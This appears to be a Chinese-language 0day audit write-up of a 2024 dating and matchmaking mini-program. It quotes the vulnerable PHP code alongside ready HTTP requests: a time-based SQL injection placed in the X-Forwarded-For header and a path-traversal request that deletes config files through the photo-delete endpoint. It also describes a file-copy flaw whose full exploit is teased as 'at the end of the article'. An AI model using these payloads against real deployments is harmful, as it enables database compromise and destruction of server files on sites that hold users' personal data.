某2024版婚恋相亲小程序系统审计(0day)

<?php/**************************************************QQ:xxxxxx supdes V10**************************************************/error_reporting(E_ALL & ~E_NOTICE);define('ZEAI',substr(dirname(__FILE__),0,-3));$_ZEAI = array();require_once ZEAI.'cache/config.php';require_once ZEAI.'sub/func.php';$_GET = daddslashes($_GET);$_POST = daddslashes($_POST,$_POST['ifbase64']);$_COOKIE = daddslashes($_COOKIE);......>

function getip() {  if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {    $onlineip = getenv('HTTP_CLIENT_IP');  } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {    $onlineip = getenv('HTTP_X_FORWARDED_FOR');  } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {    $onlineip = getenv('REMOTE_ADDR');  } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {    $onlineip = $_SERVER['REMOTE_ADDR'];  }  $onlineip = preg_replace("/^([d.]+).*/", "\1", $onlineip);  return $onlineip;}

<?phpob_start();require_once substr(dirname(__FILE__),0,-1).'sub/init.php';if(!is_mobile())header("Location: ".Href('my'));......$endip=getip();$SQL3="endtime=".ADDTIME.",endip='$endip',logincount=logincount+1";if(empty($cook_regip))$SQL3.=",regip='$endip'";if($_REG['auto_ifrefresh_time']==1)$SQL3.=",refresh_time=".ADDTIME;$db->query("UPDATE ".__TBL_USER__." SET ".$SQL3." WHERE id=".$cook_uid);if ($ifWeixinPushInfo == 1)wx_sent_kf_PushInfo($cook_openid);ob_end_flush();?>

GET /m/my.php HTTP/1.1Host: 127.0.0.1sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Cookie: xxxxxxAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9X-Forwarded-For: ' RLIKE SLEEP(5) AND 'fRLI'='fRLISec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

<?php require_once '../sub/init.php';require_once ZEAI.'sub/conn.php';require_once ZEAI.'cache/config_up.php';require_once 'photo_blur.php';define('ZEAI2',dirname(__FILE__).DIRECTORY_SEPARATOR);switch ($_POST['submitok']) {    case 'guest_userdelpic':    if (!empty($dbpicname)){      $dbpicnameARR = explode('|',$dbpicname);      foreach($dbpicnameARR as $valuep){if (@file_exists(ZEAI2.$valuep) && strstr($valuep,'/tmp/') )@unlink(ZEAI2.$valuep);}    }  break;......?>

POST /up/up.php HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 60Content-Type: application/x-www-form-urlencodedHost: 127.0.0.1Origin: http://127.0.0.1Referer: http://127.0.0.1/up/up.phpSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1submitok=guest_userdelpic&dbpicname=/tmp/../config.txt

case 'cxxx':  if (!empty($dbname2) && @file_exists($dst)){    $dst2 = mk_fdatedir($dbname2);    @copy($dst,$dst2);  }

POST /xxxx/xxxx.php HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 89Content-Type: application/x-www-form-urlencodedHost: 127.0.0.1Origin: http://127.0.0.1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1完整EXP请见文末!完整EXP请见文末!完整EXP请见文末!

POST /xxxx/xxxx.php?filename=xxxxxx HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Length: 36完整EXP请见文末!完整EXP请见文末!完整EXP请见文末!